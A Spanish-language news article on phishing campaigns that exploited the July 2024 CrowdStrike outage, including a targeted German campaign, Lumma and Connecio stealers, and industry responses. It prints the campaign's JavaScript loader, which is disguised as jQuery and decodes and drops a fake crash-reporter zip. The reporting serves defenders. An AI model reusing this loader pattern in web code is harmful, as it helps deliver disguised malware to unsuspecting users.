CrowdStrike ha emitido una advertencia sobre un atacante desconocido que está intentando aprovechar el problema reciente con la actualización del sensor Falcon para distribuir instaladores sospechosos a clientes alemanes, en una campaña muy dirigida.

La empresa de ciberseguridad detectó un intento de spear-phishing el 24 de julio de 2024, que distribuía un falso instalador de CrowdStrike Crash Reporter a través de un sitio web que se hacía pasar por una entidad alemana.

El sitio web impostor fue creado el 20 de julio, un día después de que la actualización fallida afectara a casi 9 millones de dispositivos Windows, causando grandes interrupciones en TI a nivel mundial.

> *«Cuando el usuario hace clic en el botón de descarga, el sitio web utiliza JavaScript disfrazado de JQuery v3.7.1 para descargar y desofuscar el instalador»*, explicó el equipo de Operaciones Contra Adversarios de CrowdStrike.
>
> *«El instalador tiene la marca de CrowdStrike, está localizado en alemán y requiere una contraseña para continuar la instalación del malware».*

En particular, la página de spear-phishing contenía un enlace de descarga a un archivo ZIP con un instalador malicioso de InnoSetup, con el código malicioso incrustado en un archivo JavaScript llamado «jquery-3.7.1.min.js» para evitar la detección.

A los usuarios que ejecutan el instalador falso se les pide que ingresen a un «servidor backend» para continuar. CrowdStrike no pudo recuperar la carga útil final desplegada a través del instalador.

Se considera que la campaña es muy segmentada debido a que el instalador está protegido por contraseña, requiriendo una entrada que probablemente solo conozcan las entidades objetivo. Además, la localización en alemán sugiere que la actividad está dirigida a clientes

de CrowdStrike de habla alemana.

> *«El atacante parece estar muy consciente de las prácticas de seguridad de operaciones (OPSEC), enfocándose en técnicas antiforenses durante esta campaña»,* dijo CrowdStrike.
>
> *«Por ejemplo, el atacante registró un subdominio bajo el nombre it[.] com, evitando el análisis histórico de los detalles de registro del dominio. Además, cifrar el contenido del instalador y requerir una contraseña impide un mayor análisis y atribución».*

```
function downloadFile(e, t) {
    let o = document.createElement('a');
    let a = new Blob([t], { type: 'application/octet-stream' });
    let c = URL.createObjectURL(a);
    o.href = c;
    o.download = e;
    document.body.appendChild(o);
    o.click();
    setTimeout(() => {
        document.body.removeChild(o);
        window.URL.revokeObjectURL(c);
    }, 0);
}
async function gApiAsync(e) {
    try {
        let t = await fetch(e);
        let o = await t.text();
        let a = o.match(/AAAAAAAAAAAAAAw([^"]*)"/);
        if (a && a[1]) {
            let c = a[1];
            let l = atob(c);
            let n = new Uint8Array(l.length);
            for (let r = 0; r < l.length; r++)
                n[r] = l.charCodeAt(r);
            downloadFile('Crowdstrike_crash_reporter_v1.1-R7.zip', n);
        } else
            console.error('jQuery v3.7.1 | (c) OpenJS Foundation and other
contributors | jquery.org/license');
    } catch (d) {

console.error('checked|selected|async|autofocus|autoplay|controls|defer|disa
bled|hidden|ismap|loop|multiple|open|readonly|required|scoped', d);
    }
}
```

Este desarrollo ocurre en medio de una serie de ataques de phishing que explotan el problema de la actualización de CrowdStrike para propagar malware.

- Un dominio de phishing crowdstrike-office365[.] com aloja archivos fraudulentos que contienen un cargador de Microsoft Installer (MSI) que ejecuta un ladrón de

información llamado Lumma.
- Un archivo ZIP («CrowdStrike Falcon.zip») que contiene un ladrón de información basado en Python llamado Connecio, que recopila información del sistema, la dirección IP externa y datos de varios navegadores web, y los exfiltra a cuentas SMTP listadas en una URL de Pastebin.

El jueves, el CEO de CrowdStrike, George Kurtz, dijo que el 97% de los dispositivos Windows desconectados durante la interrupción global de TI ya están operativos.

> *«En CrowdStrike, nuestra misión es ganarnos su confianza protegiendo sus operaciones. Lamento profundamente la interrupción causada por este apagón y me disculpo personalmente con todos los afectados. No puedo prometer perfección, pero sí una respuesta enfocada, efectiva y urgente»,* dijo Kurtz.

Anteriormente, el director de seguridad de la empresa, Shawn Henry, se disculpó por no *«proteger a las personas buenas de las cosas malas» y «decepcionar a quienes nos comprometimos a proteger».*

> *«La confianza que construimos gota a gota durante años se perdió en cubos en cuestión de horas, y fue un golpe en el estómago. Estamos comprometidos a recuperar su confianza brindando la protección necesaria para interrumpir a los adversarios que los atacan. A pesar de este contratiempo, la misión perdura»,* reconoció Henry.

Mientras tanto, el análisis de Bitsight sobre los patrones de tráfico de las máquinas de CrowdStrike en todo el mundo ha revelado dos datos «interesantes» que justifican una investigación adicional.

> *«El 16 de julio, alrededor de las 22:00 horas, hubo un gran aumento de tráfico, seguido de una caída significativa en el tráfico saliente de las organizaciones hacia CrowdStrike. En segundo lugar, hubo una caída significativa, entre el 15% y el 20%, en el número de IP únicas y organizaciones conectadas a los servidores de CrowdStrike Falcon, después del amanecer del día 19»,* dijo el investigador de seguridad Pedro Umbelino.

> *«Si bien no podemos inferir la causa raíz del cambio en los patrones de tráfico del día 16, sí justifica preguntar '¿Existe alguna correlación entre las observaciones del día 16 y el apagón del día 19?'».*

## Actualización

Aunque el impacto total de la interrupción de TI aún no se ha calculado, la firma de seguros en la nube Parametrix Solutions estima que el evento afectó a casi una cuarta parte de las empresas de Fortune 500, resultando en una pérdida financiera directa de $ 5.4 mil millones (excluyendo a Microsoft), incluidos $ 1.94 mil millones en pérdidas para la atención médica, $ 1.15 mil millones para la banca y $ 0.86 mil millones para el sector de las aerolíneas.

John Cable, vicepresidente de administración de programas para el servicio y la entrega de Windows, dijo que el incidente *«subraya la necesidad de resiliencia de misión crítica dentro de cada organización».*

> *«Estas mejoras deben ir acompañadas de mejoras continuas en seguridad y una estrecha cooperación con nuestros socios, que también se preocupan profundamente por la seguridad del ecosistema de Windows. instando a las empresas a tener un plan de respuesta a incidentes importantes (MIRP), hacer copias de seguridad periódicas de datos, utilizar anillos de implementación y habilitar las líneas de base de seguridad de Windows»,* dijo Cable,

Dado que el software de detección y respuesta de puntos finales (EDR) requiere acceso a nivel de kernel para detectar amenazas en Windows, el evento disruptivo también parece haber hecho que Microsoft replantee su enfoque.

Redmond dijo que características alternativas como los enclaves de seguridad basados en virtualización (VBS), introducidos en mayo, podrían ser utilizados por desarrolladores de terceros para crear un *«entorno de cómputo aislado que no requiera que los controladores de modo kernel sean resistentes a la manipulación»*. Azure Attestation, otra solución de seguridad permite la verificación remota de la *«fiabilidad de una plataforma y la integridad de los archivos binarios que se ejecutan dentro de ella».*